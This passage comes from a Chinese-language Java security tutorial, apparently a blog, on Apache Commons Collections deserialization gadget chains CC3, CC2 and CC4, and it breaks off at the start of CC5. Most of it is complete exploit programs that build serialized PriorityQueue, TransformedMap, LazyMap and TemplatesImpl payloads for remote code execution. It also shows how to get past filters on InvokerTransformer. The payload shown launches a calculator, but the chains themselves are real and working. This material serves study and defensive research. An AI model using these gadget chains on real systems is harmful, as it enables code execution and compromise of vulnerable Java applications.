super(parent);
_loadedExternalExtensionFunctions = mapEF;
}

public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}

/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

但是这里的defineClass由父类的protected变成了default,也就是说,它能够被类外部访问,我们find usages,找到TemplatesImpl.defineTransletClasses,但它是一个私有方法

这段代码先获取_bytecodes.length,也就是字节码的组数,然后依次进行加载

注意这里的条件判断_bytecodes,也就是我们要加载的字节码,不能为null,以及_tfactory也不能为null,不然_tfactory.getExternalExtensionsMap()这一步会报错,至于为什么代码里是把TransformerFactoryImpl对象赋值给它呢,我们后面再说。接着往上找调用方法

在这里选择getTrasnletInstance,因为defineClass生成的对象没有经过初始化,所以我们需要newInstance来进行初始化,而其他两个方法不符合要求

注意_name不能为null,否则无法往下进行类实例化。

继续往上找,找到了public方法newTransformer

注意到TransformerImpl构造函数的最后一个参数是TransformerFactory,也就解答了我们前面为什么要把new TransformerFactoryIml赋值给_tfactory

0x02将TemplatesImpl与CC1和CC6结合

结合CC1

CC1最后是把Runtime对象传入InvokerTransformer.transform(),通过反射来执行命令的,而如果我们使用TemplatesImpl动态加载字节码来执行命令,就得通过反射调用TemplatesImpl.newTransformer()

把链子改一下:

1
2
3
4
5
6
7
8
9
10
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator.setValue()
TransformedMap.checkSetvalue()//由`TransformedMap.decorate()获取`
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()

我们先写最后那部分的代码,通过InvokerTransformer.transform()命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC1Test {
public static void main(String[] args) throws Exception{
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));//读字节码
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)//反射调用newTransformer方法
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
chainedTransformer.transform(1);
}
public static void setFieldValue(Object o,String fieldName,Object value) throws Exception{
Field field=o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
}

TransformedMap版)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1TransformedMapEXP {
public static void main(String[] args) throws Exception {
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put("value","notlus");
Map transformedMap= TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o=constructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void setFieldValue(Object o,String fieldName,Object value) throws Exception {
Field field=o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o=ois.readObject();
return o;
}
}

LazyMap版)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1LazyMapEXP {
public static void main(String[] args) throws Exception {
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map proxymap=(Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class},invocationHandler);
Object o=constructor.newInstance(Override.class,proxymap);
serialize(o);
unserialize("ser.bin");
}
public static void setFieldValue(Object o,String fieldName,Object value) throws Exception {
Field field=o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}

结合CC6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.scenario.animation.shared.TimerReceiver;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6EXP {
public static void main(String[] args) throws Exception {
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key1");
HashMap<Object,Object> expMap=new HashMap<>();
expMap.put(tiedMapEntry,"key2");
hashMap.remove("key1");
Class<LazyMap> c=LazyMap.class;
Field factoryfield=c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap,chainedTransformer);
serialize(expMap);
unserialize("ser.bin");
}
public static void setFieldValue(Object o,String fieldName,Object value) throws Exception{
Field field=o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
public static void serialize(Object o) throws Exception{
java.io.FileOutputStream fileOutputStream=new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream objectOutputStream=new java.io.ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);
}
public static Object unserialize(String filename) throws Exception{
java.io.FileInputStream fileInputStream=new java.io.FileInputStream(filename);
java.io.ObjectInputStream objectInputStream=new java.io.ObjectInputStream(fileInputStream);
Object o=objectInputStream.readObject();
return o;
}
}

0x03利用链分析

哪里调用newTransform()方法?

和前面的分析一样,我们需要找到调用了newTransformer()的方法,从而绕过对InvokerTransformer的限制。继续find usages,我们需要用到的类是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

这个类在它的构造函数中调用了newTransformer方法,从而免去通过InvokerTransformer手工调用newTransformer()这一步

怎么获取TrAFilter类?

但是我们不能直接调用TrAXFilter的构造函数,所以我们需要用到另一个类org.apache.commons.collections.functors.InstantiateTransformer,它有一个transform()方法

我们找到它的transform方法,可以利用它来实例化TrAXFilter

1
2
3
4
5
6
7
8
try {
if (input instanceof Class == false) {//检查是否为Class对象
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);//获取构造方法
return con.newInstance(iArgs);//实例化

最后来看它的构造函数,有了这些,我们就可以先写一个demo了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class InstantiateTransformerTest {
public static void main(String[] args) throws Exception {
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
chainedTransformer.transform(1);
}
public static void setFieldValue(Object o,String fieldName,Object value) throws Exception{
Field field=o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
}

0x04最终exp

CC3就是在CC1和CC6的基础上,由通过Runtime类执行命令变成了利用TemplatesImpl类动态加载字节码。有了前面的铺垫,可以直接写出exp

结合CC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3verCC1 {
public static void main(String[] args) throws Exception {
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<>();
hashMap.put("value","notlus");
Map transformedMap= TransformedMap.decorate(hashMap,null,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o=constructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void setFieldValue(Object o,String fieldName,Object value) throws Exception {
Field field=o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
public static void serialize(Object o) throws Exception {
java.io.FileOutputStream fileOutputStream=new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream objectOutputStream=new java.io.ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);
}
public static Object unserialize(String Filename) throws Exception {
java.io.FileInputStream fileInputStream=new java.io.FileInputStream(Filename);
java.io.ObjectInputStream objectInputStream=new java.io.ObjectInputStream(fileInputStream);
Object o=objectInputStream.readObject();
return o;
}
}

结合CC6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.ArrayStack;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3verCC6 {
public static void main(String args[]) throws Exception{
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazyMap=LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key1");
HashMap<Object,Object> expMap=new HashMap<>();
expMap.put(tiedMapEntry,"key2");
hashMap.remove("key1");
Class<LazyMap> lazyMapClass=LazyMap.class;
Field factoryField=lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
Object o=ois.readObject();
return o;
}
public static void setFieldValue(Object o,String fieldName,Object value) throws Exception{
Field field=o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
}

0x05总结

CC1的Gadget Chain如下

1
2
3
4
5
6
7
8
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator.setValue()
TransformedMap.checkSetvalue()
ChainedTransformer.transform()
InstantiateTransformer.transform()
TrAFilter.newTransformer()

CC6的Gadget Chain如下

1
2
3
4
5
6
7
8
GadgetChain:
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
InstantiateTransformer.transform()
TrAFilter.newTransformer()

CC3主要是绕过对于InvokerTransformer的过滤

CC2、CC4

前言

commons-collections4相对于commons-collections是一个新的包,两者的命名空间并不冲突,因此可以存在于同一个项目中,之前说到的CC1、CC3、CC6在commons-collections4中仍然生效,而CC4和CC2这两条链就是为commons-collections4准备的

CC2和CC4的区别只在最后的命令执行方式,CC2使用的是InvokerTransformer,而CC4使用的是TemplatesImpl

0x00环境准备

  • jdk1.8.0_8u65
  • Maven
  • openJDK8u65
  • CommonsCollection4.0

0x01利用链分析

CC2用到的两个关键的类是:

  • java.util.PriorityQueue

  • org.apache.commons.collections4.comparators.TransformingComparator

PriorityQueue

PriorityQueue继承了Serializable接口,重写了readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

注意到最后的heapify方法,heapify方法里又调用了siftDown方法

找到siftDown方法

注意到siftDownUsingComparator,里面调用了comparator.compare方法,就可以连接到TransformingComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

TransformingComparator

compare里又调用了transform。实际上,commons-collectionsGadgetChain的过程就可以简化为找到一条从Serializable.readObject()Transformer.transform()方法的利用链

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
  • java.util.PriorityQueue 是⼀个优先队列(Queue),基于⼆叉堆实现,队列中每⼀个元素有 ⾃⼰的优先级,节点之间按照优先级⼤⼩排序成⼀棵树
  • 反序列化时为什么需要调⽤ heapify() ⽅法?为了反序列化后,需要恢复(换⾔之,保证)这个 结构的顺序
  • 排序是靠将大的元素下移实现的。 siftDown() 是将节点下移的函数, ⽽ comparator.compare() ⽤来⽐较两个元素⼤⼩
  • TransformingComparator 实现了 java.util.Comparator 接⼝,这个接⼝⽤于定义两个对象如 何进⾏⽐较。 siftDownUsingComparator() 中就使用这个接⼝的 compare()⽅法⽐较树的节点。

分析完这两个类之后,我们来总结一下POC的编写思路:

  • 编写Transfomer类,我们可以直接使用Runtime进行命令执行,也可以用动态加载字节码的方法

  • 创建一个TransformingComparator对象,需要传入一个Transformer

  • 实例化PriorityQueue,我们来看它的构造函数

我们需要传入一个int值,还要传入一个ComparatorinitialCapacity是优先权队列的容量大小,comparator需要传入实例化的TransformingComparator

接下来开始写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.example;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2exp {
public static void main(String args[]) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Comparator comparator=new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue=new PriorityQueue(2,comparator);
priorityQueue.add(1);
priorityQueue.add(2);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}

解决问题

如果我们在unserialize()前打下断点,也会弹出计算器

这一点和CC6有点像,原因是在调用add方法的时候,会调用offer方法,而offer方法当i不为0的时候,会调用siftUp方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public boolean add(E e) {
return offer(e);
}

/**
* Inserts the specified element into this priority queue.
*
* @return {@code true} (as specified by {@link Queue#offer})
* @throws ClassCastException if the specified element cannot be
* compared with elements currently in this priority queue
* according to the priority queue's ordering
* @throws NullPointerException if the specified element is null
*/
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

comparator不为null的时候,在siftUp里面会调用siftUpUsingComparator,继而往下执行命令

0x02最终exp

解决办法也和CC6类似,先往TransforminComparator传入一个无用的值,最后再通过反射的方法修改

CC2:通过InvokerTransformer类使用Runtime进行命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2exp {
public static void main(String args[]) throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Comparator comparator=new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue=new PriorityQueue(2,comparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c=TransformingComparator.class;
Field field=c.getDeclaredField("transformer");
field.setAccessible(true);
field.set(comparator,chainedTransformer);//反射修改属性
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}

CC4:TemplatesImpl动态加载字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.time.temporal.Temporal;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC4exp {
public static void main(String[] args) throws Exception{
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Comparator comparator=new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue=new PriorityQueue(2,comparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Field field=comparator.getClass().getDeclaredField("transformer");
field.setAccessible(true);
field.set(comparator,chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
public static void setFieldValue(Object o,String fieldName,Object value) throws Exception{
Field field=o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
}

0x03总结

CC2和CC4的调用关系还是挺简单的:

1
2
3
4
5
6
7
8
9
GadgetChain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingcomparator()
TransformingComparator.compare()
InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
1
2
3
4
5
6
7
8
GadgetChain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingcomparator()
TransformingComparator.compare()
InstantiateTransformer.transform()
TrAFilter.newTransform()

CC5

0x00环境准备

  • jdk1.8.0_8u65
  • Maven
  • openJDK8u65
  • CommonsCollection3.2.1

0x01利用链分析

新的入口类:BadAttributeValueExpException

CC5也是一条不受jdk版本限制的利用链,它的入口方法是BadAttributeValueExpException.readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

